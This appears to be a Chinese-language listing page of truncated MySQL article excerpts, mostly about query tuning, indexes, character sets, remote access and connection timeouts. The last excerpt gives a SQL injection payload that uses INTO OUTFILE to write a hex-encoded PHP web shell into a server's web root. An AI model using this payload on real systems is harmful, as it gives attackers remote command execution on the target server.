MySQL

隨著網路的普及，基於網路的應用也越來越多。網路資料庫就是其中之一。通過一台或幾台伺服器可以為很多客戶提供服務，這種方式給人們帶來了很多方 便，但也給不法分子造成了可乘之機。由於資料都是通過網路傳輸的，這就可以在傳輸的過程中被截獲，或者通過非常手段進入資料庫。由於以上原因，資料庫安全

在oracle中可以指定的表串連的hint有很多：ordered hint 指示oracle按照from關鍵字後的表順序來進行串連；leading hint 指示查詢最佳化工具使用指定的表作為串連的首表，即驅動表；use_nl hint指示查詢最佳化工具使用nested loops方式串連指定表和其他行源，並且將強制指定表作為inner表。在mysql中就有之對應的straight_join,由於mysql只支援nested

寫在前面：discuz!作為首屈一指的社區系統，為廣大站長提供了一站式網站解決方案，而且是開源的（雖然部分代碼是加密的），它為這個垂直領域的行業發展作出了巨大貢獻。儘管如此，discuz!系統源碼中，還是或多或少有些坑。其中最著名的就是預設採用MyISAM引擎，以及基於MyISAM引擎的搶樓功能，session表採用memory引擎等，可以參考後面幾篇曆史文章。本次我們要說說discuz!在應對熱們文章翻頁邏輯功能中的另一個問題。在我們的環境中，使用的是 MySQL-5.6.6

收到一個mysql伺服器負載警示，上去一看，load average都飆到280多了，用top一看，CPU跑到了336%，不過IO和記憶體的負載並不高，根據經驗，應該又是一起索引引起的慘案了。看下processlist以及slow query情況，發現有一個SQL經常出現，執行計畫中的掃描記錄數看著還可以，單次執行耗時為0.07s，還不算太大。乍一看，可能不是它引發的，但出現頻率實在太高，而且執行計畫看起來也不夠完美：mysql> explain SELECT count(1) FROM

前段時間，一大早上，就收到警示，警告php-fpm進程的數量超過閾值。最終發現是一條sql沒用到索引，導致執行資料庫查詢慢了，最終導致php-fpm進程數增加。最終通過analyze table feed_comment_info_id_0000 命令更新了Cardinality ，才能再次用到索引。排查過程如下：sql語句：select id from feed_comment_info_id_0000 where obj_id=101 and type=1;索引資訊：show index

我們在工作中時常會遇到一些客戶的TPS\QPS都不太高,但磁碟佔用非常大,一旦單一實例空間太大，像記憶體、網路、CPU以及備份都將增加相應的開銷。可能僅僅是由於空間不滿足使得我們不得不進行擴容，下面的方法提供給大家參考。有則改之無則加勉。1、表結構設計上1) 字元集是否遵循了最小化原則?(能用latin的就不用gbk。能用gbk的就不用utf8)2) 索引上是否有濫用？(根本不使用的欄位建索引、不適合建索引的欄位建索引、重複建索引或者不能很好的利用首碼索引等)3)

一、前言   很多文章中會說，資料庫的許可權按最小許可權為原則，這句話本身沒有錯，但是卻是一句空話。因為最小許可權，這個東西太抽象，很多時候你並弄不清楚具體他需要哪些許可權。

當用到socket來進行網路程式開發時，大多數情況下會遇到中文字元的發送與接收，這時若對發送的字串用預設的方式進行處理，則一般會得到一堆亂碼。由於中文字元採用雙位元組表示，所以對含有中文的字串的處理一定要按UNICODE編碼方式進行處理，也就是說，使用socket發送中文字串時要事先將字串轉成UNICODE格式的。下面是簡單的socket通訊的代碼。//服務端代碼 try{ IPAddress MyIP = IPAddress.Parse(“127.0.0.1″); TcpListener

一直以來，筆者都在不停尋找一種更人性化的資料庫訪問方式（並不是說預設的方式不好，而是有時候的確在模組化設計中不太方便）。後來有幸在php中找到codeigniter的ActiveReord，詳細參考這篇文章:

1.建立列    alter table tablename add colname type not null default '0′;    例： alter table mmanapp_mmanmedia add appid_id integer not null default 372;2.刪除列 alter table tablename drop column

mysql的字元集設定有多個層級，在mysql中儲存中文，如果不能正確設定字元集，很容易出現資料亂碼。今天就有一個使用者反饋他資料庫中的資料下午1點多開始出現了亂碼。在這裡，我分享下具體問題的排查過程，以及解決的辦法。（1）  排除用戶端設定導致的顯示亂碼如果使用者佈建的mysql character_set_client跟用戶端顯示的字元集不一致，很容易導致中文資料亂碼。設定session字元集為utf8：set names

問題描述一個使用者反映先線一個SQL語句執行時間慢得無法接受。SQL語句看上去很簡單（本文描述中修改了表名和欄位名):SELECT count(*) FROM a JOIN b ON a.`S` = b.`S` WHERE a.`L` > '2014-03-30 00:55:00' AND a.`L` < '2014-03-30 01:00:00' ;且查詢需要的欄位都建了索引，表結構如下：CREATE TABLE `a` (`L` timestamp NOT NULL

索引相關1. 查詢（或更新，刪除，可以轉換為查詢）沒有用到索引這是最基礎的步驟，需要對sql執行explain查看執行計畫中是否用到了索引，需要重點關注type=ALL, key=NULL的欄位。2.  在索引欄位上施加函數to_char(gmt_created, ‘mmdd') = '0101′正確的寫法gmt_created between to_date(“20090101″, “yyyymmdd”) and to_date(“20090102″, “yyyymmdd”)3.

現象：有一個表 action_conf，資料如下：如果想擷取以exp_site_10_開頭的en_name的記錄，sql語句該如何寫？   so easy！select en_name from action_conf where en_name like 'exp_site_10_%'   很自信的在idb中執行了這條sql，就會發現結果並不是所預期的。   你會發現，執行上面的sql會把所有以

MySql遠端連線無法開啟解決辦法1、改表法。請使用mysql管理工具，如：SQLyog Enterprise、navicate mysql可能是你的帳號不允許從遠程登陸，只能在localhost。這個時候只要在localhost的那台電腦使用mysql管理工具登入mysql後，更改 "mysql" 資料庫裡的 "user" 表裡的 "host" 項，從"localhost"改稱"%"2、

假設你的資料庫是mysql，如果資料來源配置不當，將可能發生經典的“8小時問題”。原因是mysql在預設情況下，如果發現一個串連的空閑時間超過8小時，將會在資料庫端自動關閉這個串連。而資料來源並不知道這個串連已經關閉了，當它將這個無用的串連返回給某個dao時，dao就會報無法擷取connection異常。    如果採用dbcp的預設配置，由於testOnBorrow屬性的預設值是true，資料來源在將串連交給dao前，會事先檢測這個串連是否是好的，如果串連有問題（

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server

雲平台是個好東西，MySQL-mmm的典型配置是需要五台機器，一台作為mmm admin，兩台master，兩台slave。一下子找五台機器真不容易，何況還要安裝同樣的作業系統。而有了cloud，簡單幾步就有了完備的實驗環境：四台資料庫伺服器和一台管理伺服器（Memory：8G，CPU：2G，Disk：128G，64bit RHEL6）。在此，向為付出辛勞搭建雲平台的同事們表示由衷的感謝:-)下面言歸正傳，開始全新的MySQL mmm之旅。下面要配置的MySQL

顯示資料庫或表:複製代碼 代碼如下:show databases;//然後可以use database_name;show tables;更改表名:複製代碼 代碼如下:alter table table_name rename new_t;添加列 :複製代碼 代碼如下:alter table table_name add column c_n column attributes;刪除列:複製代碼 代碼如下:alter table table_name drop column

咳咳，大家看看就好了，本人不負責所產生的後果複製代碼 代碼如下:SELECT * FROM `vbb_strikes` WHERE 1 union select 2,3,0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E from vbb_strikes into outfile 'c:/inetpub/wwwroot/cmd.php'通過Mysql 的注入或者在 phpmyadmin